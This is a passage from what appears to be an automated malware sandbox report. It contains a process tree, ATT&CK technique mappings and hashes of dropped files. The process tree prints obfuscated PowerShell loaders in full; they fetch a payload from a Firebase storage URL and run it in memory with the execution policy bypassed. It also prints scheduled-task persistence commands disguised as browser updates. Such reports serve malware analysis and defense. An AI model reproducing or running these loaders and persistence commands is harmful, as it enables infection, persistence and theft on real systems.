lSmtRYXNEZmdyVGclJycgLC☹nJ19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fLS0tLS0tLScnLC☹nJz☹nJywgJycxJycsICcnUm9kYScnIC☹pICkgOycgOyRWQldXei☹9ICggW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcFBhdGgoKS☹rICdEdlZicy5wczEnICkgOyRJcUhxUSB8IE91dC1GaWxlIC1GaWxlUGF0aC☹kVkJXV3ogIC1mb3JjZS☹7cG93ZXJzaGVsbC☹tRXhlY3V0aW9uUG9saWN5IEJ5cGFzcy☹tRmlsZS☹kVkJXV3ogOw==';$lvFxTsk = [system.Text.Encoding]::UTF8.GetString( [system.Convert]::FromBase64String( ($RqWSSdfd -replace '☹','A') ) );$lvFxTsk = ($lvFxTsk -replace '%JkQasDfgrTg%', 'C:$Users$Admin$AppData$Local$Temp$a$sostener3.vbs');powershell $lvFxTsk;
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:8164
- - C:\Windows\SYSTEM32\wscript.exe
    wscript.exe sostener2.vbs
    3⤵
    PID:7084
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $RqWSSdfd = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOyR6RkthQS☹9ICdodHRwczovL2ZpcmViYXNlc3RvcmFnZS5nb29nbGVhcGlzLmNvbS92MC9iL2xvbG9lcjM0MzQuZmlyZWJhc2VzdG9yYWdlLmFwcC9vL1JPREFIQVpMTyUyRmRsbHNreSUyMCg3KS50eHQ/YWx0PW1lZGlhJnRva2VuPTQzNGI5ZDBkLTVhNmMtNGRiOC05YWQyLT☹3MzgzYjdjMjYwNicgOyRQeFB5dC☹9ICggW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcFBhdGgoKS☹rICdHT0FhcC50eHQnKTskd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudC☹7JExXaEFjID0gJHdlYkNsaWVudC5Eb3dubG9hZFN0cmluZyggJHpGS2FBICkgOyRMV2hBYyB8IE91dC1GaWxlIC1GaWxlUGF0aC☹kUHhQeXQgLUVuY29kaW5nICdVVEY4Jy☹tZm9yY2UgOyRTVGZHbC☹9ICggW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcFBhdGgoKS☹rICdHT0FhcC50eHQnKS☹7JERRZFBVID0gJ0xvYWQnIDskZm5tU0wgPS☹nSW52b2tlJzskUGFuQk4gPS☹kbnVsbDskSXFIcVEgPS☹gJzskeC☹9IChKb2luLVBhdGggJGVudjpURU1QICcnR09BYX☹udHh0JycpOyRyeWFlRy☹9IChHZXQtQ29udGVudC☹tUGF0aC☹keC☹tRW5jb2RpbmcgVVRGOCk7JHJ5YWVHID0gJHJ5YWVHLnJlcGxhY2UoJyckJCcnLC☹nJ0EnJyk7Jy☹7JElxSHFRICs9ICdbQnl0ZVtdXS☹ka1hUZmkgPSBbc3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKC☹kcnlhZUcgKS☹7Jy☹7JElxSHFRICs9ICdbU3lzdGVtLkFwcERvbWFpbl06Jy☹rICc6Q3VycmVudERvbWFpbi4nICsgJERRZFBVICsgJyggJGtYVGZpICkuJy☹7JElxSHFRICs9ICdHZXRUeXBlKC☹nJ0NsYXNzTGlicmFyeTMuQ2xhc3MxJycgKS5HZXRNJy☹7JElxSHFRICs9ICdldGhvZCggJydNc3FCSWJZJycgKS4nICsgJGZubVNMICsgJyggJFBhbkJOICwgW29iamVjdFtdXS☹oICggJydNUUE5QUd3QVpBQW1BSGdBTUFCb0FETUFOZ0I0QUdnQU9RQTlBSFFBY3dBbUFIY0FNQUI0QUdFQVlnQjRBRzBBZUFBMUFISUFjQUJwQURFQWFBQnVBR1FBT1FCcEFIWUFlQUJ3QUhFQVlnQTVBSFFBUFFCNUFHVUFhd0JzQUhJQVB3QjBBSGdBZEFBdUFESUFRd0F2QURNQU13QmtBSElBWmdCeUFHNEFiZ0J2QUhBQVpRQmpBRElBYndCekFEa0FkUUJoQUcwQWFRQmlBQzhBYVFCbUFDOEFiQUJqQUhNQUx3QnRBRzhBWXdBdUFIZ0Fid0JpQUhBQWJ3QnlBR1FBTGdCM0FIY0Fkd0F2QUM4QU9nQnpBSEFBZEFCMEFHZ0EnJy☹pICwgJyclSmtRYXNEZmdyVGclJycgLC☹nJ19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fLS0tLS0tLScnLC☹nJz☹nJywgJycxJycsICcnUm9kYScnIC☹pICkgOycgOyRWQldXei☹9ICggW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcFBhdGgoKS☹rICdEdlZicy5wczEnICkgOyRJcUhxUSB8IE91dC1GaWxlIC1GaWxlUGF0aC☹kVkJXV3ogIC1mb3JjZS☹7cG93ZXJzaGVsbC☹tRXhlY3V0aW9uUG9saWN5IEJ5cGFzcy☹tRmlsZS☹kVkJXV3ogOw==';$lvFxTsk = [system.Text.Encoding]::UTF8.GetString( [system.Convert]::FromBase64String( ($RqWSSdfd -replace '☹','A') ) );$lvFxTsk = ($lvFxTsk -replace '%JkQasDfgrTg%', 'C:$Users$Admin$AppData$Local$Temp$a$sostener2.vbs');powershell $lvFxTsk;
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7844
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/RODAHAZLO%2Fdllsky%20(7).txt?alt=media&token=434b9d0d-5a6c-4db8-9ad2-07383b7c2606' ;$PxPyt = ( [System.IO.Path]::GetTempPath() + 'GOAap.txt');$webClient = New-Object System.Net.WebClient ;$LWhAc = $webClient.DownloadString( $zFKaA ) ;$LWhAc | Out-File -FilePath $PxPyt -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'GOAap.txt') ;$DQdPU = 'Load' ;$fnmSL = 'Invoke';$PanBN = $null;$IqHqQ = ';$x = (Join-Path $env:TEMP ''GOAap.txt'');$ryaeG = (Get-Content -Path $x -Encoding UTF8);$ryaeG = $ryaeG.replace(''$$'', ''A'');' ;$IqHqQ += '[Byte[]] $kXTfi = [system.Convert]::FromBase64String( $ryaeG ) ;' ;$IqHqQ += '[System.AppDomain]:' + ':CurrentDomain.' + $DQdPU + '( $kXTfi ).' ;$IqHqQ += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$IqHqQ += 'ethod( ''MsqBIbY'' ).' + $fnmSL + '( $PanBN , [object[]] ( ( ''MQA9AGwAZAAmAHgAMABoADMANgB4AGgAOQA9AHQAcwAmAHcAMAB4AGEAYgB4AG0AeAA1AHIAcABpADEAaABuAGQAOQBpAHYAeABwAHEAYgA5AHQAPQB5AGUAawBsAHIAPwB0AHgAdAAuADIAQwAvADMAMwBkAHIAZgByAG4AbgBvAHAAZQBjADIAbwBzADkAdQBhAG0AaQBiAC8AaQBmAC8AbABjAHMALwBtAG8AYwAuAHgAbwBiAHAAbwByAGQALgB3AHcAdwAvAC8AOgBzAHAAdAB0AGgA'' ) , ''C:$Users$Admin$AppData$Local$Temp$a$sostener2.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'DvVbs.ps1' ) ;$IqHqQ | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7012
- - C:\Users\Admin\AppData\Local\Temp\a\WalletConnectdevRestore.exe
    WalletConnectdevRestore.exe
    3⤵
    PID:5552
  - - C:\Program Files (x86)\GoTo Resolve Unattended\8066129901890700561\GoToResolveUnattended.exe
      "C:\Program Files (x86)\GoTo Resolve Unattended\8066129901890700561\GoToResolveUnattended.exe" -regsvc
      4⤵
      PID:8240
    - - C:\Program Files (x86)\GoTo Resolve Unattended\8066129901890700561\GoToResolveProcessChecker.exe
        
        "C:/Program Files (x86)/GoTo Resolve Unattended/8066129901890700561/GoToResolveProcessChecker.exe" "-ApplicationType" "4"
        5⤵
        
        PID:5772
  - - C:\Program Files (x86)\GoTo Resolve Unattended\8066129901890700561\GoToResolveTools64.exe
      "C:\Program Files (x86)\GoTo Resolve Unattended\8066129901890700561\GoToResolveTools64.exe" -InstallVDD
      4⤵
      PID:8576
    - - C:\Program Files (x86)\GoTo Resolve Unattended\8066129901890700561\GoToResolveCrashHandler.exe
        
        "C:\Program Files (x86)\GoTo Resolve Unattended\8066129901890700561\GoToResolveCrashHandler.exe" "--database=C:\Program Files (x86)\GoTo Resolve Unattended\8066129901890700561\appdata\CrashReportDB" "--metrics-dir=C:\Program Files (x86)\GoTo Resolve Unattended\8066129901890700561\appdata\CrashReportDB" --url=https://dumpster.console.gotoresolve.com/api/dump --annotation=format=minidump --annotation=hostname=Wtgrnqby --annotation=version=1.24.0.142 --initial-client-data=0x32c,0x330,0x334,0x328,0x338,0x7ff66f80baf8,0x7ff66f80bb10,0x7ff66f80bb28
        5⤵
        
        PID:4188
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /S /C ""C:\Users\Admin\AppData\Local\Temp\a\WalletConnectdevRestore.exe.cmd" "C:\Users\Admin\AppData\Local\Temp\a\WalletConnectdevRestore.exe""
      4⤵
      PID:6016
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i Adobe.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:6716
- - C:\Windows\SYSTEM32\wscript.exe
    wscript.exe sostener2.vbs
    3⤵
    PID:5480
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $RqWSSdfd = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOyR6RkthQS☹9ICdodHRwczovL2ZpcmViYXNlc3RvcmFnZS5nb29nbGVhcGlzLmNvbS92MC9iL2xvbG9lcjM0MzQuZmlyZWJhc2VzdG9yYWdlLmFwcC9vL1JPREFIQVpMTyUyRmRsbHNreSUyMCg3KS50eHQ/YWx0PW1lZGlhJnRva2VuPTQzNGI5ZDBkLTVhNmMtNGRiOC05YWQyLT☹3MzgzYjdjMjYwNicgOyRQeFB5dC☹9ICggW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcFBhdGgoKS☹rICdHT0FhcC50eHQnKTskd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudC☹7JExXaEFjID0gJHdlYkNsaWVudC5Eb3dubG9hZFN0cmluZyggJHpGS2FBICkgOyRMV2hBYyB8IE91dC1GaWxlIC1GaWxlUGF0aC☹kUHhQeXQgLUVuY29kaW5nICdVVEY4Jy☹tZm9yY2UgOyRTVGZHbC☹9ICggW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcFBhdGgoKS☹rICdHT0FhcC50eHQnKS☹7JERRZFBVID0gJ0xvYWQnIDskZm5tU0wgPS☹nSW52b2tlJzskUGFuQk4gPS☹kbnVsbDskSXFIcVEgPS☹gJzskeC☹9IChKb2luLVBhdGggJGVudjpURU1QICcnR09BYX☹udHh0JycpOyRyeWFlRy☹9IChHZXQtQ29udGVudC☹tUGF0aC☹keC☹tRW5jb2RpbmcgVVRGOCk7JHJ5YWVHID0gJHJ5YWVHLnJlcGxhY2UoJyckJCcnLC☹nJ0EnJyk7Jy☹7JElxSHFRICs9ICdbQnl0ZVtdXS☹ka1hUZmkgPSBbc3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKC☹kcnlhZUcgKS☹7Jy☹7JElxSHFRICs9ICdbU3lzdGVtLkFwcERvbWFpbl06Jy☹rICc6Q3VycmVudERvbWFpbi4nICsgJERRZFBVICsgJyggJGtYVGZpICkuJy☹7JElxSHFRICs9ICdHZXRUeXBlKC☹nJ0NsYXNzTGlicmFyeTMuQ2xhc3MxJycgKS5HZXRNJy☹7JElxSHFRICs9ICdldGhvZCggJydNc3FCSWJZJycgKS4nICsgJGZubVNMICsgJyggJFBhbkJOICwgW29iamVjdFtdXS☹oICggJydNUUE5QUd3QVpBQW1BSGdBTUFCb0FETUFOZ0I0QUdnQU9RQTlBSFFBY3dBbUFIY0FNQUI0QUdFQVlnQjRBRzBBZUFBMUFISUFjQUJwQURFQWFBQnVBR1FBT1FCcEFIWUFlQUJ3QUhFQVlnQTVBSFFBUFFCNUFHVUFhd0JzQUhJQVB3QjBBSGdBZEFBdUFESUFRd0F2QURNQU13QmtBSElBWmdCeUFHNEFiZ0J2QUhBQVpRQmpBRElBYndCekFEa0FkUUJoQUcwQWFRQmlBQzhBYVFCbUFDOEFiQUJqQUhNQUx3QnRBRzhBWXdBdUFIZ0Fid0JpQUhBQWJ3QnlBR1FBTGdCM0FIY0Fkd0F2QUM4QU9nQnpBSEFBZEFCMEFHZ0EnJy☹pICwgJyclSmtRYXNEZmdyVGclJycgLC☹nJ19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fLS0tLS0tLScnLC☹nJz☹nJywgJycxJycsICcnUm9kYScnIC☹pICkgOycgOyRWQldXei☹9ICggW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcFBhdGgoKS☹rICdEdlZicy5wczEnICkgOyRJcUhxUSB8IE91dC1GaWxlIC1GaWxlUGF0aC☹kVkJXV3ogIC1mb3JjZS☹7cG93ZXJzaGVsbC☹tRXhlY3V0aW9uUG9saWN5IEJ5cGFzcy☹tRmlsZS☹kVkJXV3ogOw==';$lvFxTsk = [system.Text.Encoding]::UTF8.GetString( [system.Convert]::FromBase64String( ($RqWSSdfd -replace '☹','A') ) );$lvFxTsk = ($lvFxTsk -replace '%JkQasDfgrTg%', 'C:$Users$Admin$AppData$Local$Temp$a$sostener2.vbs');powershell $lvFxTsk;
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:8364
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i ZoomApk.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:7500
- - C:\Users\Admin\AppData\Local\Temp\a\zocp.exe
    zocp.exe
    3⤵
    PID:5276
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i adoberead.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:6528
- - C:\Users\Admin\AppData\Local\Temp\a\1BOi0tXTJJWgZS1BzlecvJPgUWQPYe3K.exe
    1BOi0tXTJJWgZS1BzlecvJPgUWQPYe3K.exe
    3⤵
    PID:8784
- - C:\Users\Admin\AppData\Local\Temp\a\jgF2Iu5.exe
    jgF2Iu5.exe
    3⤵
    PID:6644
- - C:\Users\Admin\AppData\Local\Temp\a\3rLRc0r.exe
    3rLRc0r.exe
    3⤵
    PID:5184
  - - C:\Windows\SYSTEM32\CheckNetIsolation.exe
      CheckNetIsolation.exe
      4⤵
      PID:9000
- - C:\Users\Admin\AppData\Local\Temp\a\Clipper.exe
    Clipper.exe
    3⤵
    PID:8776
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /query /tn "Google Updater Task"
      4⤵
      PID:9464
- - C:\Users\Admin\AppData\Local\Temp\a\8GVk01wwWXHHto7BJ1pwBajM8YOnUuQf.exe
    8GVk01wwWXHHto7BJ1pwBajM8YOnUuQf.exe
    3⤵
    PID:5844
  - - C:\Windows\system32\cmd.exe
      cmd.exe /C schtasks /query /tn MicrosoftEdgeUpdateTaskMachineUPAS
      4⤵
      PID:9344
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /query /tn MicrosoftEdgeUpdateTaskMachineUPAS
        5⤵
        
        PID:11188
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c schtasks /create /sc minute /mo 1 /tn MicrosoftEdgeUpdateTaskMachineUPAS /tr C:\Users\Admin\AppData\Roaming\WindowsSystemDiagnostics.{D20EA4E1-3957-11D2-A40B-0C5020524153}\spooIsv.exe /f
      4⤵
      PID:9584
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /sc minute /mo 1 /tn MicrosoftEdgeUpdateTaskMachineUPAS /tr C:\Users\Admin\AppData\Roaming\WindowsSystemDiagnostics.{D20EA4E1-3957-11D2-A40B-0C5020524153}\spooIsv.exe /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8004
  - - C:\Windows\system32\cmd.exe
      cmd.exe /C C:\Users\Admin\AppData\Local\Temp\taskmanager.bat
      4⤵
      PID:6200
    - - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 5
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:6772
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -File 4aa9fqc792.ps1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6524
- - C:\Users\Admin\AppData\Local\Temp\a\lol.exe
    lol.exe
    3⤵
    PID:8416
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c cmd < Promoted.wp5
      4⤵
      PID:10056
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd
        5⤵
        
        PID:11200
- - C:\Users\Admin\AppData\Local\Temp\a\nonrendition.exe
    nonrendition.exe
    3⤵
    PID:8888
- - C:\Users\Admin\AppData\Local\Temp\a\yyy.exe
    yyy.exe
    3⤵
    PID:5520
- - C:\Users\Admin\AppData\Local\Temp\a\pitchometer.exe
    pitchometer.exe
    3⤵
    PID:6288
- - C:\Users\Admin\AppData\Local\Temp\a\GL0ygTD.exe
    GL0ygTD.exe
    3⤵
    PID:7680
  - - C:\Users\Admin\AppData\Local\Temp\is-R3OA7.tmp\GL0ygTD.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-R3OA7.tmp\GL0ygTD.tmp" /SL5="$208DC,3498196,56832,C:\Users\Admin\AppData\Local\Temp\a\GL0ygTD.exe"
      4⤵
      PID:10308
- - C:\Users\Admin\AppData\Local\Temp\a\dropper64.exe
    dropper64.exe
    3⤵
    PID:6936
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /query /tn "3ead4cf8-70bf-4cf7-ae33-4580f9f719d5c"
      4⤵
      PID:5472
- - C:\Windows\SYSTEM32\mshta.exe
    mshta.exe kkdi99ew0cv03jdjfsdhj400df04sdxcv0we03220dcxvjs9f930sxcvj322jjsdf0sdf0sfxc0f032jdkfs.hta
    3⤵
    PID:11120
- - C:\Users\Admin\AppData\Local\Temp\a\extra_tool.exe
    extra_tool.exe
    3⤵
    PID:10532
  - - C:\Users\Admin\AppData\Local\Temp\a\extra_tool.exe
      extra_tool.exe
      4⤵
      PID:6372
- - C:\Users\Admin\AppData\Local\Temp\a\chrome_inject.exe
    chrome_inject.exe
    3⤵
    PID:10724
- - C:\Users\Admin\AppData\Local\Temp\a\another_tool.exe
    another_tool.exe
    3⤵
    PID:6140

C:\Users\Admin\AppData\Local\Temp\2to1ep.exe
"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"
1⤵
PID:2540
- C:\Users\Admin\AppData\Local\Temp\2to1ep.exe
  "C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"
  2⤵
  PID:3528
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F"
    3⤵
    PID:4524
  - - C:\Windows\system32\schtasks.exe
      schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5440
- - C:\Windows\system32\cmd.exe
    cmd.exe /C start c:\Windows\System32\Taskmgr.exe
    3⤵
    PID:7396
  - - \??\c:\Windows\System32\Taskmgr.exe
      c:\Windows\System32\Taskmgr.exe
      4⤵
      PID:6976

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:8140

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:7888
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 331ED4A4BC70628C1246B2717A74C262 C
  2⤵
  PID:9812

C:\Users\Admin\AppData\Local\Temp\a\Software.exe
C:\Users\Admin\AppData\Local\Temp\a\Software.exe
1⤵
PID:7856

C:\Users\Admin\AppData\Local\Temp\a\Software.exe
C:\Users\Admin\AppData\Local\Temp\a\Software.exe
1⤵
PID:3372

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:8856

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall
1⤵
PID:9036
- C:\Windows\system32\DrvInst.exe
  DrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{9ca4d561-bd28-8a47-996b-69f4ca7d8f9c}\g2rvdd.inf" "9" "48e7d72b3" "0000000000000154" "WinSta0\Default" "000000000000013C" "208" "C:\Program Files (x86)\GoTo Resolve Unattended\8066129901890700561\x64"
  2⤵
  PID:9392

C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
1⤵
PID:10072

C:\Windows\system32\openwith.exe
"C:\Windows\system32\openwith.exe"
1⤵
PID:8536

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 5772 -ip 5772
1⤵
PID:5540

C:\Users\Admin\AppData\Roaming\XIxnuXFz.exe
C:\Users\Admin\AppData\Roaming\XIxnuXFz.exe
1⤵
PID:8344
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 8344 -s 848
  2⤵
  - Program crash
  PID:9468

C:\Users\Admin\AppData\Roaming\VLsbbsEdpRgP.exe
C:\Users\Admin\AppData\Roaming\VLsbbsEdpRgP.exe
1⤵
PID:2184
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2184 -s 820
  2⤵
  - Program crash
  PID:5336

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 2184 -ip 2184
1⤵
PID:7604

C:\Users\Admin\AppData\Roaming\VLsbbsEdpRgP.exe
C:\Users\Admin\AppData\Roaming\VLsbbsEdpRgP.exe
1⤵
PID:8164

C:\Users\Admin\AppData\Roaming\VLsbbsEdpRgP.exe
C:\Users\Admin\AppData\Roaming\VLsbbsEdpRgP.exe
1⤵
PID:7904

C:\Users\Admin\AppData\Roaming\XIxnuXFz.exe
C:\Users\Admin\AppData\Roaming\XIxnuXFz.exe
1⤵
PID:4588
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4588 -s 772
  2⤵
  - Program crash
  PID:1672

C:\Users\Admin\AppData\Roaming\YbsjfxUqj.exe
C:\Users\Admin\AppData\Roaming\YbsjfxUqj.exe
1⤵
PID:5420

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 804 -p 4588 -ip 4588
1⤵
PID:6512

C:\Users\Admin\AppData\Roaming\YbsjfxUqj.exe
C:\Users\Admin\AppData\Roaming\YbsjfxUqj.exe
1⤵
PID:4728

C:\Users\Admin\AppData\Roaming\YbsjfxUqj.exe
C:\Users\Admin\AppData\Roaming\YbsjfxUqj.exe
1⤵
PID:9108

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 9108 -ip 9108
1⤵
PID:6952

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Event Triggered Execution

T1546

Installer Packages

T1546.016

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Event Triggered Execution

T1546

Installer Packages

T1546.016

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

UnattendedUpdater.csv

Path C:\Users\Admin\AppData\Local\GoTo Resolve Installer\GoTo0001.tmp\UnattendedUpdater.csv
Size 6KB
SHA256 5ef7c9e8a388eb572b1589a26aae352f298b78d4b28d77ca434799262557c3a7
MD5 a144484ae80ed5bc3a95c21ec749f559
SHA1 44515b763bc6d25bafc07d60b35729a2d20a0b15
SHA512 2cef790080c3f2c236274076bb5c4a764cdba2b4e6d351620e97fa9789ba547764e6dbff4439673c928518a2dee0d4d326b94db64f97aeadf37691140a4671d7
SSDEEP 192:q/zUV4FCGo2R2z2wI21I2N2S2O262/292Ux/OvfEqQnN:soV4Flo2R2z2wI21I2N2S2O262/292uJ
MD5 SHA1 SHA512 SSDEEP

Submit Download

UnattendedUpdater.log

Path C:\Users\Admin\AppData\Local\GoTo Resolve Installer\GoTo0001.tmp\UnattendedUpdater.log
Size 3KB
SHA256 7af69756bd60607d9b7d7699916801a4e97bcb952f369fdb2b1aec948db971b7
MD5 a0d7da45fa1725e6efd244222fca86eb
SHA1 081e44524866858254015b22e7a0e4e8cfd6a948
SHA512 c6754062e8922974112c1b3fd964e41bf93d76c1d060892c847071f98dc223b441af22a389783627fa9b50779cf0645131d42c186b545a6d3d4807e691ebff6e
MD5 SHA1 SHA512

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI5122\VCRUNTIME140.dll
Size 117KB
SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
MD5 32da96115c9d783a0769312c0482a62d
SHA1 2ea840a5faa87a2fe8d7e5cb4367f2418077d66b
SHA512 616c78b4a24761d4640ae2377b873f7779322ef7bc26f8de7da0d880b227c577ed6f5ed794fc733468477b2fcdb7916def250e5dc63e79257616f99768419087
SSDEEP 1536:Z9TXF5YXWbj8qr51XlN+dULTCe1IGhKWyxLiyaXYaNxoecbdhUoaLjTz164zEd:ZEnsvReGsWyxLizXFkecbd1aPTzW
MD5 SHA1 SHA512 SSDEEP

Submit Download

_asyncio.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI5122\_asyncio.pyd
Size 70KB
SHA256 a5341a74bbec1ddc807c0236fcb6bfaceaf3b957eb69cdd9bca00657eb5e42b6
MD5 56f958eebbc62305b4bf690d61c78e28
SHA1 68d1a227f8bef856469523364e37ae76b968162a
SHA512 91b2a31835a5a0610856df1851c7bb1dea48a6740c63bd037971473706197e81e9904eaa6042a84fc15aa6aa74ac226463b67e2fa8370cbb8b0c987fed777169
SSDEEP 1536:BCY0h2ZouTqMrvHQH7dIgvn6gytH/9tA0fI38VM3:BCD2rWMrvHG7dIgvn6MIo
MD5 SHA1 SHA512 SSDEEP

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI5122\_bz2.pyd
Size 83KB
SHA256 449058efc99fccb9e24d640084d845c78f3f86dd34c5c126cf69e523d6320d75
MD5 684d656aada9f7d74f5a5bdcf16d0edb
SHA1 f7586da90d101b5ee3fa24f131ee93ab89606919
SHA512 27fb2eca382675316fb96d18a1aa6b2792077481bf899cbcc658d71f787876045c05c98abf129c9670b6a1d2654d57f59e17580139fa7f482ec27234e44d4235
SSDEEP 1536:Q5qJ1z7AwZG1xIdYxMpC76ROURNf/86bskFIgLVaytH/9bfIivj:iqTzwqdYrmrfk6wkFIgLVyGj
MD5 SHA1 SHA512 SSDEEP

Submit Download

_cffi_backend.cp313-win_amd64.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI5122\_cffi_backend.cp313-win_amd64.pyd
Size 175KB
SHA256 0e3d149b91fc7dc3367ab94620a5e13af6e419f423b31d4800c381468cb8ad85
MD5 5cba92e7c00d09a55f5cbadc8d16cd26
SHA1 0300c6b62cd9db98562fdd3de32096ab194da4c8
SHA512 7ab432c8774a10f04ddd061b57d07eba96481b5bb8c663c6ade500d224c6061bc15d17c74da20a7c3cec8bbf6453404d553ebab22d37d67f9b163d7a15cf1ded
SSDEEP 3072:X3LjFuaTzDGA3GrJwUdoSPhpRv9JUizQWS7LkSTLkKWgFIPXD0:X3QaT3GA3NSPhDsizTikSTLLWgF0z0
MD5 SHA1 SHA512 SSDEEP

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI5122\_ctypes.pyd
Size 130KB
